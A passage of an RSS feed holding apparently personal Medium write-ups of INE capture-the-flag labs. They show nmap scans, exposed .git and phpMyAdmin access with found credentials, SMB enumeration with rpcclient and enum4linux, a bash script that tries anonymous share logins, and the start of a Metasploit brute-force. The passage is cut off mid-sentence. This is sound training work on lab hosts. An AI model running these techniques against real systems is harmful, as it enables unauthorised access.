 Downloads                          DR        0  Wed Jan  1 14:00:35 2025<br>  Favorites                          DR        0  Wed Jan  1 14:00:35 2025<br>  Links                              DR        0  Wed Jan  1 14:00:36 2025<br>  Local Settings                  DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Music                              DR        0  Wed Jan  1 14:00:35 2025<br>  My Documents                    DHSrn        0  Wed Jan  1 14:00:31 2025<br>  NetHood                         DHSrn        0  Wed Jan  1 14:00:31 2025<br>  NTUSER.DAT                        AHn  1048576  Wed Jan  1 14:01:53 2025<br>  ntuser.dat.LOG1                   AHS        0  Wed Jan  1 14:00:30 2025<br>  ntuser.dat.LOG2                   AHS    36864  Wed Jan  1 14:00:30 2025<br>  NTUSER.DAT{a057f24c-e827-11e8-81c0-0a917f905606}.TM.blf    AHS    65536  Wed Jan  1 14:01:53 2025<br>  NTUSER.DAT{a057f24c-e827-11e8-81c0-0a917f905606}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Wed Jan  1 14:00:30 2025<br>  NTUSER.DAT{a057f24c-e827-11e8-81c0-0a917f905606}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Wed Jan  1 14:00:30 2025<br>  ntuser.ini                         HS       20  Wed Nov 14 21:47:25 2018<br>  Pictures                           DR        0  Wed Jan  1 14:00:35 2025<br>  PrintHood                       DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Recent                          DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Saved Games                        DR        0  Wed Jan  1 14:00:36 2025<br>  Searches                           DR        0  Wed Jan  1 14:00:35 2025<br>  SendTo                          DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Start Menu                      DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Templates                       DHSrn        0  Wed Jan  1 14:00:31 2025<br>  Videos                             DR        0  Wed Jan  1 14:00:35 2025<br><br>                7863807 blocks of size 4096. 3644374 blocks available<br>smb: \Users\Administrator\&gt; cd Desktop<br>smb: \Users\Administrator\Desktop\&gt; ls<br>  .                                  DR        0  Sat Mar 22 23:25:14 2025<br>  ..                                 DR        0  Sat Mar 22 23:25:14 2025<br>  desktop.ini                       AHS      282  Wed Jan  1 14:00:35 2025<br>  flag4.txt                           A       34  Sat Mar 22 23:25:14 2025<br><br>                7863807 blocks of size 4096. 3644374 blocks available<br>smb: \Users\Administrator\Desktop\&gt; get flag4.txt<br>getting file \Users\Administrator\Desktop\flag4.txt of size 34 as flag4.txt (2.4 KiloBytes/sec) (average 2.9 KiloBytes/sec)<br>smb: \Users\Administrator\Desktop\&gt; exit</pre><p>Flag 3 and 4 were captured.</p><pre>┌──(root㉿INE)-[~]<br>└─# ls<br>Desktop  Documents  Downloads  flag3.txt  flag4.txt  Music  Pictures  Public  Templates  thinclient_drives  Videos<br><br>┌──(root㉿INE)-[~]<br>└─# cat flag3.txt<br>6260610084a64ad09af5280ec6d88649<br><br>┌──(root㉿INE)-[~]<br>└─# cat flag4.txt                                                                                                                                          <br>f3358c37997749b6a1c78d24623c4bd9</pre><p>This CTF taught me the importance of thorough enumeration and quick thinking, especially under time constraints, as I had only an hour to complete it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f18c16c7a6eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE - Assessment Methodologies: Vulnerability Assessment CTF 1]]></title>
            <link>https://medium.com/@ashidijoy52/ine-assessment-methodologies-vulnerability-assessment-ctf-1-4a90b567fb96?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a90b567fb96</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Fri, 21 Mar 2025 11:57:34 GMT</pubDate>
            <atom:updated>2025-03-21T11:57:34.183Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8HKZKJOr2Bg6UY-0BbnHQ.png" /></figure><p>Vulnerability assessment involves identifying, analyzing, and prioritizing security weaknesses in a system, application, or network. Various tools, such as Nmap and Nessus, can be used for this process.</p><p>This article covers a vulnerability assessment Capture The Flag (CTF) challenge and the steps taken to capture four (4) flags using Nmap.</p><p><strong>Information Gathering</strong></p><p>Before starting the lab, INE provided basic details about the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCOjtofoT0DK3MqXZBbWpA.png" /></figure><p><strong>Port Scanning:</strong></p><p>I made use of nmap to scan the ports available on the target system. I did (2) different scans, one was more extensive than the other.</p><pre>root@INE:~# nmap -sSVC -O target.ine.local<br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-03-21 16:01 IST<br>Nmap scan report for target.ine.local (192.112.211.3)<br>Host is up (0.000062s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))<br>| http-git: <br>|   192.112.211.3:80/.git/<br>|     Git repository found!<br>|     Repository description: Unnamed repository; edit this file &#39;description&#39; to name the...<br>|     Remotes:<br>|_      https://github.com/fermayo/hello-world-lamp.git<br>|_http-server-header: Apache/2.4.7 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>| http-robots.txt: 8 disallowed entries <br>| passwords/ config.inc classes/ javascript/ <br>|_owasp-esapi-php/ documentation/ phpmyadmin/ includes/<br>3306/tcp open  mysql   MySQL (blocked - too many connection errors)<br>MAC Address: 02:42:C0:70:D3:03 (Unknown)<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.92%E=4%D=3/21%OT=80%CT=1%CU=38167%PV=N%DS=1%DC=D%G=Y%M=0242C0%T<br>OS:M=67DD3FFD%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I<br>OS:%TS=A)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4<br>OS:ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1<br>OS:=7C70%W2=7C70%W3=7C70%W4=7C70%W5=7C70%W6=7C70)ECN(R=Y%DF=Y%T=40%W=7D78%O<br>OS:=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N<br>OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=<br>OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF<br>OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=<br>OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)<br><br>Network Distance: 1 hop<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 18.57 seconds<br><br>root@INE:~# mysql -u admin -p -h target.ine.local<br>Enter password: <br>ERROR 1129 (HY000): Host &#39;INE&#39; is blocked because of many connection errors; unblock with &#39;mysqladmin flush-hosts&#39;</pre><pre>root@INE:~# nmap -sSVC --script=http-enum  target.ine.local<br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-03-21 16:19 IST<br>Nmap scan report for target.ine.local (192.112.211.3)<br>Host is up (0.000030s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))<br>|_http-server-header: Apache/2.4.7 (Ubuntu)<br>| http-enum: <br>|   /test/: Test page<br>|   /robots.txt: Robots file<br>|   /phpinfo.php: Possible information file<br>|   /phpmyadmin/: phpMyAdmin<br>|   /.git/HEAD: Git folder<br>|   /classes/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /config/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /data/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /documentation/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /images/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /includes/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /javascript/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|   /passwords/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>|_  /styles/: Potentially interesting directory w/ listing on &#39;apache/2.4.7 (ubuntu)&#39;<br>3306/tcp open  mysql   MySQL (blocked - too many connection errors)<br>MAC Address: 02:42:C0:70:D3:03 (Unknown)<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds</pre><p>From the scan results, ports 80 (HTTP) and 3306 (MySQL) were open. I attempted to use the provided credentials on the MySQL server, but it was unsuccessful. Shifting my focus to the HTTP server, I performed further enumeration, which provided a more detailed yet concise version of the initial scan results.</p><p>Next, I explored the directories in my browser and discovered interesting elements that ultimately led to capturing the flags.</p><p><strong>Flag 1: Explore hidden directories for version control artifacts that might reveal valuable information.</strong></p><p>From the nmap scan results, I visited the <a href="http://target.ine.local/.git">http://target.ine.local/.git</a> repository and found a flag there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxc0ZxNz6OqAjKuWAR2icQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qDctv3CuheZQHuruHax5Q.png" /><figcaption>Flag 1 Captured</figcaption></figure><p><strong>Flag 2: The data storage has some loose security measures. Can you find the flag hidden within it?</strong></p><p>From the hint given, I thought the data storage in question would have something to do with the mysql service. I navigated to the <a href="http://taarget.ine.local/phpMyAdmin">http://taarget.ine.local/phpMyAdmin</a> repository and I logged in using the root password I found in the passwords directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7tOM5tGVU-h3HJveU2gAwA.png" /><figcaption>Respective user accounts and details</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f2hScuUqwcy92SNfD2ih0A.png" /></figure><p>Afterwards, I navigated to mysql on the left panel and I went through each tab and I saw a flag on the secret-info tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWxf-iTjrCodAwOQxsfEGA.png" /></figure><p><strong>Flag 3: A PHP file that displays server information might be worth examining. What could be hidden in plain sight?</strong></p><p>Going back to the nmap scan results and I saw a directory “/phpinfo.php: Possible information file” which I navigated to, seeking for information related to the server and I found a flag there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jaAi-77k5j9iBiFhL9OuA.png" /><figcaption>Flag 3 Captured</figcaption></figure><p><strong>Flag 4: Sensitive directories might hold critical information. Search through carefully for hidden gems.</strong></p><p>From the nmap scan results, I navigated to the passwords directory and found a flag present there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7eaiaH9EIqPWJGr7fABpvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2ctNu63Qwb1Ba7Ti34xfA.png" /><figcaption>Flag 4 Captured</figcaption></figure><p>This CTF was a great learning experience, reinforcing the importance of thorough enumeration. From scanning for open ports to digging through exposed directories, every step played a role in uncovering vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a90b567fb96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE — Assessment Methodologies: Enumeration CTF 1]]></title>
            <link>https://medium.com/@ashidijoy52/ine-assessment-methodologies-enumeration-ctf-1-25b8bb7ba1fe?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/25b8bb7ba1fe</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Fri, 03 Jan 2025 09:02:13 GMT</pubDate>
            <atom:updated>2025-01-03T09:17:55.291Z</atom:updated>
            <content:encoded><![CDATA[<h3>INE — Assessment Methodologies: Enumeration CTF 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Dc4VwT2B7T-z1QQTr8OsA.png" /><figcaption>Lab details</figcaption></figure><p><strong>Introduction</strong>:<br>In this article, I’ll take you through the process of enumerating SMB, SSH, and FTP services during a CTF challenge. By leveraging tools like Nmap, Metasploit, and Hydra, I was able to capture four (4) flags from the target system. Here’s how I approached the problem step-by-step.</p><p><strong>The Process</strong>:</p><p><strong>Information Gathering</strong>:<br>I started by running basic commands like cat /etc/hosts and nmap -sVSC -O target.ine.local to gather target details.</p><pre>┌──(root㉿INE)-[~]<br>└─# nmap -sVCS -O target.ine.local<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 01:51 IST<br>Nmap scan report for target.ine.local (192.196.167.3)<br>Host is up (0.000064s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT    STATE SERVICE     VERSION<br>22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 bb:ca:49:7e:f5:5c:6e:bf:8a:55:a1:69:d9:c9:18:01 (RSA)<br>|   256 da:06:c1:ab:e7:6f:14:b9:50:d5:43:a7:47:ab:80:ce (ECDSA)<br>|_  256 a1:5c:ab:22:6b:c2:f1:5c:5a:7a:5a:d8:e7:81:e2:33 (ED25519)<br>139/tcp open  netbios-ssn Samba smbd 4.6.2<br>445/tcp open  netbios-ssn Samba smbd 4.6.2<br>MAC Address: 02:42:C0:C4:A7:03 (Unknown)<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5<br>OS details: Linux 4.15 - 5.8, Linux 5.0 - 5.5<br>Network Distance: 1 hop<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_nbstat: NetBIOS name: TARGET, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2025-01-02T20:21:47<br>|_  start_date: N/A<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds</pre><p><strong>Enumerating SMB Shares</strong>:<br>I ran smbclient to view SMB shares and used rpcclient and enum4linux to list users. However, both shares were empty after further enumeration.</p><pre>─(root㉿INE)-[~]<br>└─# smbclient -L target.ine.local -N                                                                                                                       <br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        print$          Disk      Printer Drivers<br>        IPC$            IPC       IPC Service (target server (Samba, Ubuntu))<br>Reconnecting with SMB1 for workgroup listing.<br>smbXcli_negprot_smb1_done: No compatible protocol selected by server.<br>Protocol negotiation to server target.ine.local (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE<br>Unable to connect with SMB1 -- no workgroup available</pre><pre>─# rpcclient -U &quot;&quot; -N target.ine.local                                                                                                                    <br>rpcclient $&gt; enumdomusers<br>user:[josh] rid:[0x3e8]<br>user:[nancy] rid:[0x3ea]<br>user:[bob] rid:[0x3e9]</pre><pre>┌──(root㉿INE)-[~/Desktop/wordlists]<br>└─# enum4linux -a target.ine.local<br>Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jan  3 02:12:19 2025<br><br> =========================================( Target Information )=========================================<br>                                                                                                                                                           <br>Target ........... target.ine.local                                                                                                                        <br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none<br><br><br> ==========================( Enumerating Workgroup/Domain on target.ine.local )==========================<br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+] Got domain/workgroup name: WORKGROUP                                                                                                                   <br>                                                                                                                                                           <br>                                                                                                                                                           <br> ==============================( Nbtstat Information for target.ine.local )==============================<br>                                                                                                                                                           <br>Looking up status of 192.196.167.3                                                                                                                         <br>        TARGET          &lt;00&gt; -         B &lt;ACTIVE&gt;  Workstation Service<br>        TARGET          &lt;03&gt; -         B &lt;ACTIVE&gt;  Messenger Service<br>        TARGET          &lt;20&gt; -         B &lt;ACTIVE&gt;  File Server Service<br>        ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Master Browser<br>        WORKGROUP       &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Domain/Workgroup Name<br>        WORKGROUP       &lt;1d&gt; -         B &lt;ACTIVE&gt;  Master Browser<br>        WORKGROUP       &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt;  Browser Service Elections<br><br>        MAC Address = 00-00-00-00-00-00<br><br> =================================( Session Check on target.ine.local )=================================<br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+] Server target.ine.local allows sessions using username &#39;&#39;, password &#39;&#39;                                                                                 <br>                                                                                                                                                           <br>                                                                                                                                                           <br> ==============================( Getting domain SID for target.ine.local )==============================<br>                                                                                                                                                           <br>Domain Name: WORKGROUP                                                                                                                                     <br>Domain Sid: (NULL SID)<br><br>[+] Can&#39;t determine if host is part of domain or part of a workgroup                                                                                       <br>                                                                                                                                                           <br>                                                                                                                                                           <br> =================================( OS information on target.ine.local )=================================<br>                                                                                                                                                           <br>                                                                                                                                                           <br>[E] Can&#39;t get OS info with smbclient                                                                                                                       <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+] Got OS info for target.ine.local from srvinfo:                                                                                                         <br>        TARGET         Wk Sv PrQ Unx NT SNT target server (Samba, Ubuntu)                                                                                  <br>        platform_id     :       500<br>        os version      :       6.1<br>        server type     :       0x809a03<br><br><br> =====================================( Users on target.ine.local )=====================================<br>                                                                                                                                                           <br>index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: josh     Name:   Desc:                                                                                      <br>index: 0x2 RID: 0x3ea acb: 0x00000010 Account: nancy    Name:   Desc: <br>index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: bob      Name:   Desc: <br><br>user:[josh] rid:[0x3e8]<br>user:[nancy] rid:[0x3ea]<br>user:[bob] rid:[0x3e9]<br><br> ===============================( Share Enumeration on target.ine.local )===============================<br>                                                                                                                                                           <br>smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                                                      <br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        print$          Disk      Printer Drivers<br>        IPC$            IPC       IPC Service (target server (Samba, Ubuntu))<br>Reconnecting with SMB1 for workgroup listing.<br>Protocol negotiation to server target.ine.local (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE<br>Unable to connect with SMB1 -- no workgroup available<br><br>[+] Attempting to map shares on target.ine.local                                                                                                           <br>                                                                                                                                                           <br>//target.ine.local/print$       Mapping: DENIED Listing: N/A Writing: N/A                                                                                  <br><br>[E] Can&#39;t understand response:                                                                                                                             <br>                                                                                                                                                           <br>NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                                                 <br>//target.ine.local/IPC$ Mapping: N/A Listing: N/A Writing: N/A<br><br> ==========================( Password Policy Information for target.ine.local )==========================<br><br>[+] Attaching to target.ine.local using a NULL share<br><br>[+] Trying protocol 139/SMB...<br><br>[+] Found domain(s):<br><br>        [+] TARGET<br>        [+] Builtin<br><br>[+] Password Info for Domain: TARGET<br><br>        [+] Minimum password length: 5<br>        [+] Password history length: None<br>        [+] Maximum password age: 37 days 6 hours 21 minutes <br>        [+] Password Complexity Flags: 000000<br><br>                [+] Domain Refuse Password Change: 0<br>                [+] Domain Password Store Cleartext: 0<br>                [+] Domain Password Lockout Admins: 0<br>                [+] Domain Password No Clear Change: 0<br>                [+] Domain Password No Anon Change: 0<br>                [+] Domain Password Complex: 0<br><br>        [+] Minimum password age: None<br>        [+] Reset Account Lockout Counter: 30 minutes <br>        [+] Locked Account Duration: 30 minutes <br>        [+] Account Lockout Threshold: None<br>        [+] Forced Log off Time: 37 days 6 hours 21 minutes <br><br><br><br>[+] Retieved partial password policy with rpcclient:                                                                                                       <br>                                                                                                                                                           <br>                                                                                                                                                           <br>Password Complexity: Disabled                                                                                                                              <br>Minimum Password Length: 5<br><br><br> =====================================( Groups on target.ine.local )=====================================<br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+] Getting builtin groups:                                                                                                                                <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+]  Getting builtin group memberships:                                                                                                                    <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+]  Getting local groups:                                                                                                                                 <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+]  Getting local group memberships:                                                                                                                      <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+]  Getting domain groups:                                                                                                                                <br>                                                                                                                                                           <br>                                                                                                                                                           <br>[+]  Getting domain group memberships:                                                                                                                     <br>                                                                                                                                                           <br>                                                                                                                                                           <br> ================( Users on target.ine.local via RID cycling (RIDS: 500-550,1000-1050) )================<br>                                                                                                                                                           <br>                                                                                                                                                           <br>[I] Found new SID:                                                                                                                                         <br>S-1-22-1                                                                                                                                                   <br><br>[I] Found new SID:                                                                                                                                         <br>S-1-5-32                                                                                                                                                   <br><br>[I] Found new SID:                                                                                                                                         <br>S-1-5-32                                                                                                                                                   <br><br>[I] Found new SID:                                                                                                                                         <br>S-1-5-32                                                                                                                                                   <br><br>[I] Found new SID:                                                                                                                                         <br>S-1-5-32                                                                                                                                                   <br><br>[+] Enumerating users using SID S-1-22-1 and logon username &#39;&#39;, password &#39;&#39;                                                                                <br>                                                                                                                                                           <br>S-1-22-1-1000 Unix User\josh (Local User)                                                                                                                  <br>S-1-22-1-1001 Unix User\bob (Local User)<br>S-1-22-1-1002 Unix User\nancy (Local User)<br>S-1-22-1-1003 Unix User\alice (Local User)<br><br>[+] Enumerating users using SID S-1-5-21-1671346621-1346632672-2840632920 and logon username &#39;&#39;, password &#39;&#39;                                               <br>                                                                                                                                                           <br>S-1-5-21-1671346621-1346632672-2840632920-501 TARGET\nobody (Local User)                                                                                   <br>S-1-5-21-1671346621-1346632672-2840632920-513 TARGET\None (Domain Group)<br>S-1-5-21-1671346621-1346632672-2840632920-1000 TARGET\josh (Local User)<br>S-1-5-21-1671346621-1346632672-2840632920-1001 TARGET\bob (Local User)<br>S-1-5-21-1671346621-1346632672-2840632920-1002 TARGET\nancy (Local User)<br><br>[+] Enumerating users using SID S-1-5-32 and logon username &#39;&#39;, password &#39;&#39;                                                                                <br>                                                                                                                                                           <br>S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                          <br>S-1-5-32-545 BUILTIN\Users (Local Group)<br>S-1-5-32-546 BUILTIN\Guests (Local Group)<br>S-1-5-32-547 BUILTIN\Power Users (Local Group)<br>S-1-5-32-548 BUILTIN\Account Operators (Local Group)<br>S-1-5-32-549 BUILTIN\Server Operators (Local Group)<br>S-1-5-32-550 BUILTIN\Print Operators (Local Group)<br><br> =============================( Getting printer info for target.ine.local )=============================<br>                                                                                                                                                           <br>No printers returned.                                                                                                                                      <br><br><br>enum4linux complete on Fri Jan  3 02:12:38 2025</pre><p>I wrote a custom script to test for anonymous access with a given shares wordlist.</p><pre>#!/bin/bash<br><br># Path to your wordlist<br>wordlist=&quot;/root/Desktop/wordlists/shares.txt&quot;<br>target=&quot;target.ine.local&quot;<br><br># Loop through each share in the wordlist<br>while read -r share; do<br>  echo &quot;Attempting anonymous login to share: $share&quot;<br><br>  # Try to connect anonymously<br>  smbclient &quot;\\\\$target\\$share&quot; -U &quot;&quot;%&quot;&quot; -N<br><br>  if [ $? -eq 0 ]; then<br>    echo &quot;[+] Anonymous access successful for share: $share&quot;<br>  else<br>    echo &quot;[-] Failed to access share: $share&quot;<br>  fi<br>done &lt; &quot;$wordlist&quot;</pre><p>I went ahead to implement the script;</p><pre>──(root㉿INE)-[~]<br>└─# vim script.sh<br><br>┌──(root㉿INE)-[~]<br>└─# chmod +x script.sh                                                                                                                                     <br><br>┌──(root㉿INE)-[~]<br>└─# ./script.sh<br>Attempting anonymous login to share: publicdata<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: publicdata<br>Attempting anonymous login to share: communitydata<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: communitydata<br>Attempting anonymous login to share: openstorage<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: openstorage<br>Attempting anonymous login to share: freestorage<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: freestorage<br>Attempting anonymous login to share: accessiblestorage<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: accessiblestorage<br>Attempting anonymous login to share: pubstorage<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: pubstorage<br>Attempting anonymous login to share: commonstorage<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: commonstorage<br>Attempting anonymous login to share: publicarchive<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: publicarchive<br>Attempting anonymous login to share: sharedarchive<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: sharedarchive<br>Attempting anonymous login to share: commonarchive<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: commonarchive<br>Attempting anonymous login to share: pubarchive<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: pubarchive<br>Attempting anonymous login to share: opendocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: opendocs<br>Attempting anonymous login to share: freedocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: freedocs<br>Attempting anonymous login to share: communitydocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: communitydocs<br>Attempting anonymous login to share: accessibledocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: accessibledocs<br>Attempting anonymous login to share: commondocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: commondocs<br>Attempting anonymous login to share: pubdocs<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: pubdocs<br>Attempting anonymous login to share: publicfiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: publicfiles<br>Attempting anonymous login to share: openfiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: openfiles<br>Attempting anonymous login to share: freefiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: freefiles<br>Attempting anonymous login to share: sharedfiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: sharedfiles<br>Attempting anonymous login to share: accessiblefiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: accessiblefiles<br>Attempting anonymous login to share: communityfiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: communityfiles<br>Attempting anonymous login to share: commonsfiles<br>tree connect failed: NT_STATUS_BAD_NETWORK_NAME<br>[-] Failed to access share: commonsfiles<br>Attempting anonymous login to share: pubfiles<br>Try &quot;help&quot; to get a list of possible commands.<br>openvault: command not found<br>freevault: command not found<br>accessiblevault: command not found<br>publicvault: command not found<br>commonvault: command not found<br>openlibrary: command not found<br>pubvault: command not found<br>freelibrary: command not found<br>accessiblelibrary: command not found<br>worldstoragebin: command not found<br>universalstoragebin: command not found<br>sharedstoragebin: command not found<br>collectivestoragebin: command not found<br>mutualstoragebin: command not found<br>globalarchivebin: command not found<br>worldarchivebin: command not found<br>universalarchivebin: command not found<br>[+] Anonymous access successful for share: pubfiles</pre><p>Accessing the share successful for anonymous access with smbclient,</p><pre>smbclient \\\\target.ine.local\\pubfiles -U josh                                      <br>Password for [WORKGROUP\josh]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Fri Jan  3 01:49:26 2025<br>  ..                                  D        0  Tue Nov 19 10:44:41 2024<br>  flag1.txt                           N       40  Fri Jan  3 01:49:26 2025<br><br>                1981311780 blocks of size 1024. 106630720 blocks available</pre><p>Downloading the file and accessing the contents of the file, <strong>flag 1</strong> captured.</p><pre>┌──(root㉿INE)-[~]<br>└─# ls                                                                                                                                                     <br>Desktop  Documents  Downloads  flag1.txt  Music  Pictures  Public  script.sh  Templates  thinclient_drives  users.txt  Videos<br><br>┌──(root㉿INE)-[~]<br>└─# cat flag1.txt<br>FLAG1{2143f08018e74efd9b57c90e11ceef3d}</pre><p><strong>Brute-Forcing SMB</strong>:<br>After identifying a valid share (pubfiles), I used Metasploit’s SMB Login auxiliary module to brute force credentials, gaining four (4) valid 